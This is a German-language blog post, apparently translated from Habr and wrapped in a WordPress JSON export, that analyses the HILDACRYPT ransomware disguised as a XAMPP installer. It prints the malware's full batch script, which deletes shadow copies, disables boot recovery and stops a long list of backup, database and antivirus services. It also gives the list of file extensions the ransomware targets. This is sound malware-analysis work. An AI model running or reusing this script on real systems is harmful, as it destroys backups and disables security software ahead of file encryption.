{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"HILDACRYPT: ein neues Ransomware-Programm schl\u00e4gt auf Backup-Systeme und Antivirusl\u00f6sungen ein","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Hallo, Habr! Und wieder berichten wir \u00fcber die neuesten Versionen von Malware aus der Kategorie Ransomware. HILDACRYPT ist ein neues Ransomware-Programm, das zur im August 2019 entdeckten Familie Hilda geh\u00f6rt, die nach einem Cartoon des Streamingdienstes Netflix benannt wurde, der zur Verbreitung der Software verwendet wurde. Heute lernen wir die technischen Besonderheiten dieses aktualisierten Ransomware-Virus kennen.<\/p>\n

\"HILDACRYPT:
\n<\/a><\/noindex>
\nIn der ersten Version der Ransomware Hilda war der Link zu dem auf YouTube ver\u00f6ffentlichten Trailer<\/a><\/noindex> der Zeichentrickserie im L\u00f6segeldbrief enthalten. HILDACRYPT hingegen tarnt sich als legitimer Installer von XAMPP \u2013 einem einfach zu installierenden Paket von Apache, das MariaDB, PHP und Perl umfasst. Dabei hat der Krypto-Locker einen anderen Dateinamen \u2013 xamp. Au\u00dferdem hat die Ransomware-Datei keine elektronische Signatur.<\/p>\n

Statische Analyse<\/h3>\n

\nDie Ransomware befindet sich in einer PE32 .NET-Datei, die f\u00fcr MS Windows geschrieben wurde. Ihre Gr\u00f6\u00dfe betr\u00e4gt 135.168 Byte. Sowohl der Hauptprogrammcode als auch der Code des Schutzprogramms sind in C# geschrieben. Laut dem Zeitstempel der Kompilierung wurde die Bin\u00e4rdatei am 14. September 2019 erstellt.<\/p>\n

\"HILDACRYPT:
\n
\nLaut Detect It Easy ist die Ransomware mit Confuser und ConfuserEx gepackt, aber diese Obfuscatoren sind die gleichen wie zuvor, nur dass ConfuserEx der Nachfolger von Confuser ist, sodass die Signaturen ihrer Codes \u00e4hnlich sind. <\/p>\n

\"HILDACRYPT:
\n
\nHILDACRYPT ist tats\u00e4chlich mit ConfuserEx gepackt. <\/p>\n

\"HILDACRYPT:
\n
\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a<\/p>\n

Angriffsvektor<\/h3>\n

\nWahrscheinlich wurde die Ransomware auf einer der Websites zum Thema Webprogrammierung entdeckt, wo sie sich als legitime Software XAMPP tarnt.<\/p>\n

Die gesamte Infektionskette kann in app.any.run sandbox<\/a><\/noindex>.<\/p>\n

Obfuskation <\/h3>\n

\nDie Codezeilen der Ransomware werden verschl\u00fcsselt gespeichert. Beim Start entschl\u00fcsselt HILDACRYPT sie mit Hilfe von Base64 und AES-256-CBC.<\/p>\n

\"HILDACRYPT:
\n<\/p>\n

Installation<\/h3>\n

\nZun\u00e4chst erstellt die Ransomware im %AppDataRoaming% ein Verzeichnis, f\u00fcr das eine GUID (Globally Unique Identifier) zuf\u00e4llig generiert wird. Indem sie eine bat-Datei in diesem Verzeichnis hinzuf\u00fcgt, startet die Ransomware diese mit cmd.exe:<\/p>\n

cmd.exe \/c JKfgkgj3hjgfhjka.bat & exit
\n<\/i>
\n\"HILDACRYPT:\"HILDACRYPT:
\nDann beginnt sie mit der Ausf\u00fchrung des Batch-Skripts, um systemweite Funktionen oder Dienste zu deaktivieren.<\/p>\n

\"HILDACRYPT:
\n
\nDas Skript enth\u00e4lt eine lange Liste von Befehlen, mit denen Schattenkopien gel\u00f6scht, der SQL-Server, Backups und Antivirenl\u00f6sungen deaktiviert werden.<\/p>\n

Zum Beispiel versucht er vergeblich, die Acronis Backup-Dienste zu stoppen. Dar\u00fcber hinaus greift er die Backup-Systeme und Antivirus-L\u00f6sungen der folgenden Anbieter an: Veeam, Sophos, Kaspersky, McAfee und andere.<\/p>\n

@echo off\n:: Ich bin nicht wirklich ein Fan von Ponys, Zeichentrickm\u00e4dchen sind besser, oder?\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=unbounded\nbcdedit \/set {default} recoveryenabled No\nbcdedit \/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \/all \/quiet\nnet stop SQLAgent$SYSTEM_BGC \/y\nnet stop \u201cSophos Device Control Service\u201d \/y\nnet stop macmnsvc \/y\nnet stop SQLAgent$ECWDB2 \/y\nnet stop \u201cZoolz 2 Service\u201d \/y\nnet stop McTaskManager \/y\nnet stop \u201cSophos AutoUpdate Service\u201d \/y\nnet stop \u201cSophos System Protection Service\u201d \/y\nnet stop EraserSvc11710 \/y\nnet stop PDVFSService \/y\nnet stop SQLAgent$PROFXENGAGEMENT \/y\nnet stop SAVService \/y\nnet stop MSSQLFDLauncher$TPSAMA \/y\nnet stop EPSecurityService \/y\nnet stop SQLAgent$SOPHOS \/y\nnet stop \u201cSymantec System Recovery\u201d \/y\nnet stop Antivirus \/y\nnet stop SstpSvc \/y\nnet stop MSOLAP$SQL_2008 \/y\nnet stop TrueKeyServiceHelper \/y\nnet stop sacsvr \/y\nnet stop VeeamNFSSvc \/y\nnet stop FA_Scheduler \/y\nnet stop SAVAdminService \/y\nnet stop EPUpdateService \/y\nnet stop VeeamTransportSvc \/y\nnet stop \u201cSophos Health Service\u201d \/y\nnet stop bedbg \/y\nnet stop MSSQLSERVER \/y\nnet stop KAVFS \/y\nnet stop Smcinst \/y\nnet stop MSSQLServerADHelper100 \/y\nnet stop TmCCSF \/y\nnet stop wbengine \/y\nnet stop SQLWriter \/y\nnet stop MSSQLFDLauncher$TPS \/y\nnet stop SmcService \/y\nnet stop ReportServer$TPSAMA \/y\nnet stop swi_update \/y\nnet stop AcrSch2Svc \/y\nnet stop MSSQL$SYSTEM_BGC \/y\nnet stop VeeamBrokerSvc \/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \/y\nnet stop VeeamDeploymentService \/y\nnet stop SQLAgent$TPS \/y\nnet stop DCAgent \/y\nnet stop \u201cSophos Message Router\u201d \/y\nnet stop MSSQLFDLauncher$SBSMONITORING \/y\nnet stop wbengine \/y\nnet stop MySQL80 \/y\nnet stop MSOLAP$SYSTEM_BGC \/y\nnet stop ReportServer$TPS \/y\nnet stop MSSQL$ECWDB2 \/y\nnet stop SntpService \/y\nnet stop SQLSERVERAGENT \/y\nnet stop BackupExecManagementService \/y\nnet stop SMTPSvc \/y\nnet stop mfefire \/y\nnet stop BackupExecRPCService \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop klnagent \/y\nnet stop MSExchangeSA \/y\nnet stop MSSQLServerADHelper \/y\nnet stop SQLTELEMETRY \/y\nnet stop \u201cSophos Clean Service\u201d \/y\nnet stop swi_update_64 \/y\nnet stop \u201cSophos Web Control Service\u201d \/y\nnet stop EhttpSrv \/y\nnet stop POP3Svc \/y\nnet stop MSOLAP$TPSAMA \/y\nnet stop McAfeeEngineService \/y\nnet stop \u201cVeeam Backup Catalog Data Service\u201d \/\net stop MSSQL$SBSMONITORING \/y\nnet stop ReportServer$SYSTEM_BGC \/y\nnet stop AcronisAgent \/y\nnet stop KAVFSGT \/y\nnet stop BackupExecDeviceMediaService \/y\nnet stop MySQL57 \/y\nnet stop McAfeeFrameworkMcAfeeFramework \/y\nnet stop TrueKey \/y\nnet stop VeeamMountSvc \/y\nnet stop MsDtsServer110 \/y\nnet stop SQLAgent$BKUPEXEC \/y\nnet stop UI0Detect \/y\nnet stop ReportServer \/y\nnet stop SQLTELEMETRY$ECWDB2 \/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \/y\nnet stop MSSQL$BKUPEXEC \/y\nnet stop SQLAgent$PRACTTICEBGC \/y\nnet stop MSExchangeSRS \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop McShield \/y\nnet stop SepMasterService \/y\nnet stop \u201cSophos MCS Client\u201d \/y\nnet stop VeeamCatalogSvc \/y\nnet stop SQLAgent$SHAREPOINT \/y\nnet stop NetMsmqActivator \/y\nnet stop kavfsslp \/y\nnet stop tmlisten \/y\nnet stop ShMonitor \/y\nnet stop MsDtsServer \/y\nnet stop SQLAgent$SQL_2008 \/y\nnet stop SDRSVC \/y\nnet stop IISAdmin \/y\nnet stop SQLAgent$PRACTTICEMGT \/y\nnet stop BackupExecJobEngine \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop BackupExecAgentBrowser \/y\nnet stop VeeamHvIntegrationSvc \/y\nnet stop masvc \/y\nnet stop W3Svc \/y\nnet stop \u201cSQLsafe Backup Service\u201d \/y\nnet stop SQLAgent$CXDB \/y\nnet stop SQLBrowser \/y\nnet stop MSSQLFDLauncher$SQL_2008 \/y\nnet stop VeeamBackupSvc \/y\nnet stop \u201cSophos Safestore Service\u201d \/y\nnet stop svcGenericHost \/y\nnet stop ntrtscan \/y\nnet stop SQLAgent$VEEAMSQL2012 \/y\nnet stop MSExchangeMGMT \/y\nnet stop SamSs \/y\nnet stop MSExchangeES \/y\nnet stop MBAMService \/y\nnet stop EsgShKernel \/y\nnet stop ESHASRV \/y\nnet stop MSSQL$TPSAMA \/y\nnet stop SQLAgent$CITRIX_METAFRAME \/y\nnet stop VeeamCloudSvc \/y\nnet stop \u201cSophos File Scanner Service\u201d \/y\nnet stop \u201cSophos Agent\u201d \/y\nnet stop MBEndpointAgent \/y\nnet stop swi_service \/y\nnet stop MSSQL$PRACTICEMGT \/y\nnet stop SQLAgent$TPSAMA \/y\nnet stop McAfeeFramework \/y\nnet stop \u201cEnterprise Client Service\u201d \/y\nnet stop SQLAgent$SBSMONITORING \/y\nnet stop MSSQL$VEEAMSQL2012 \/y\nnet stop swi_filter \/y\nnet stop SQLSafeOLRService \/y\nnet stop BackupExecVSSProvider \/y\nnet stop VeeamEnterpriseManagerSvc \/y\nnet stop SQLAgent$SQLEXPRESS \/y\nnet stop OracleClientCache80 \/y\nnet stop MSSQL$PROFXENGAGEMENT \/y\nnet stop IMAP4Svc \/y\nnet stop ARSM \/y\nnet stop MSExchangeIS \/y\nnet stop AVP \/y\nnet stop MSSQLFDLauncher \/y\nnet stop MSExchangeMTA \/y\nnet stop TrueKeyScheduler \/y\nnet stop MSSQL$SOPHOS \/y\nnet stop \u201cSQL Backups\u201d \/y\nnet stop MSSQL$TPS \/y\nnet stop mfemms \/y\nnet stop MsDtsServer100 \/y\nnet stop MSSQL$SHAREPOINT \/y\nnet stop WRSVC \/y\nnet stop mfevtp \/y\nnet stop msftesql$PROD \/y\nnet stop mozyprobackup \/y\nnet stop MSSQL$SQL_2008 \/y\nnet stop SNAC \/y\nnet stop ReportServer$SQL_2008 \/y\nnet stop BackupExecAgentAccelerator \/y\nnet stop MSSQL$SQLEXPRESS \/y\nnet stop MSSQL$PRACTTICEBGC \/y\nnet stop VeeamRESTSvc \/y\nnet stop sophossps \/y\nnet stop ekrn \/y\nnet stop MMS \/y\nnet stop \u201cSophos MCS Agent\u201d \/y\nnet stop RESvc \/y\nnet stop \u201cAcronis VSS Provider\u201d \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop MSSQLFDLauncher$SHAREPOINT \/y\nnet stop \u201cSQLsafe Filter Service\u201d \/y\nnet stop MSSQL$PROD \/y\nnet stop SQLAgent$PROD \/y\nnet stop MSOLAP$TPS \/y\nnet stop VeeamDeploySvc \/y\nnet stop MSSQLServerOLAPService \/y\ndel %0\n<\/code><\/pre>\n
\nNachdem die oben genannten Dienste und Prozesse deaktiviert wurden, sammelt der Krypto-Locker Informationen \u00fcber alle laufenden Prozesse mit dem Befehl tasklist, um sicherzustellen, dass alle erforderlichen Dienste au\u00dfer Betrieb sind. 
\ntasklist v \/fo csv<\/i><\/p>\n
Dieser Befehl liefert eine detaillierte Liste der laufenden Prozesse, deren Elemente durch ein Komma getrennt sind. 
\n\u00abcsrss.exe\u00bb,\u00ab448\u00bb,\u00abservices\u00bb,\u00ab0\u00bb,\u00ab1\ufffd896 \ufffd\ufffd\u00bb,\u00abunknown\u00bb,\ufffd\/\ufffd\u00bb,\u00ab0:00:03\u00bb,\ufffd\/\ufffd\u00bb
\n<\/i><\/p>\n
\"HILDACRYPT:
\n
\nNach dieser \u00dcberpr\u00fcfung beginnt das Erpressungsprogramm mit dem Verschl\u00fcsselungsprozess. <\/p>\n
Verschl\u00fcsselung 
\n<\/h3>\n
Dateiverschl\u00fcsselung<\/h4>\n
\nHILDACRYPT durchl\u00e4uft den gesamten gefundenen Inhalt der Festplatten, mit Ausnahme der Ordner Recycle.Bin und Reference AssembliesMicrosoft. Letzterer enth\u00e4lt kritische dll-, pdb- und andere Dateien f\u00fcr .Net-Anwendungen, die die Funktionalit\u00e4t des Erpressungsprogramms beeintr\u00e4chtigen k\u00f6nnten. Um nach Dateien zu suchen, die verschl\u00fcsselt werden sollen, wird die folgende Liste von Erweiterungen verwendet:<\/p>\n
.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md>
\n<\/i>
\nZur Verschl\u00fcsselung von Benutzerdaten verwendet das Erpressungsprogramm den AES-256-CBC-Algorithmus. Die Schl\u00fcssell\u00e4nge betr\u00e4gt 256 Bit, und die L\u00e4nge des Initialisierungsvektors (IV) betr\u00e4gt 16 Byte. <\/p>\n
\"HILDACRYPT:
\n
\nAuf dem n\u00e4chsten Screenshot wurden die Werte byte_2 und byte_1 zuf\u00e4llig mit Hilfe von GetBytes() generiert. <\/p>\n
\"HILDACRYPT:
\n
\nSchl\u00fcssel<\/p>\n
\"HILDACRYPT:
\n
\nVIRUS<\/p>\n
\"HILDACRYPT:
\n
\nDie verschl\u00fcsselte Datei hat die Erweiterung HCY!.. Dies ist ein Beispiel f\u00fcr eine verschl\u00fcsselte Datei. F\u00fcr diese Datei wurden der oben erw\u00e4hnte Schl\u00fcssel und die IV erstellt. <\/p>\n
\"HILDACRYPT:
\n<\/p>\n
Verschl\u00fcsselung von Schl\u00fcsseln<\/h4>\n
\nDer Kryptolocker speichert den generierten AES-Schl\u00fcssel in der verschl\u00fcsselten Datei. Der erste Teil der verschl\u00fcsselten Datei hat einen Header, der Daten wie HILDACRYPT, KEY, IV, FileLen im XML-Format enth\u00e4lt und sieht folgenderma\u00dfen aus:<\/p>\n
\"HILDACRYPT:
\n
\nDie Verschl\u00fcsselung des AES-Schl\u00fcssels und der IV erfolgt mit RSA-2048, die Kodierung erfolgt mit Base64. Der RSA-\u00f6ffentliche Schl\u00fcssel wird im K\u00f6rper des Kryptolockers in einer der verschl\u00fcsselten Zeilen im XML-Format gespeichert.<\/p>\n
28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB
\n<\/code><\/p>\n
F\u00fcr die Verschl\u00fcsselung des AES-Dateischl\u00fcssels wird der RSA-\u00f6ffentliche Schl\u00fcssel verwendet. Der RSA-\u00f6ffentliche Schl\u00fcssel ist mit Base64 kodiert und besteht aus dem Modul und dem \u00f6ffentlichen Exponenten 65537. F\u00fcr die Entschl\u00fcsselung ist der private RSA-Schl\u00fcssel erforderlich, den der Angreifer hat.<\/p>\n
Nach der RSA-Verschl\u00fcsselung wird der AES-Schl\u00fcssel mit Base64 kodiert und in der verschl\u00fcsselten Datei gespeichert.<\/p>\n
L\u00f6segeldnachricht<\/h3>\n
\nNach Abschluss der Verschl\u00fcsselung schreibt HILDACRYPT eine HTML-Datei in den Ordner, in dem es die Dateien verschl\u00fcsselt hat. Die Ransomware-Benachrichtigung enth\u00e4lt zwei E-Mail-Adressen, \u00fcber die das Opfer den Angreifer kontaktieren kann.<\/p>\n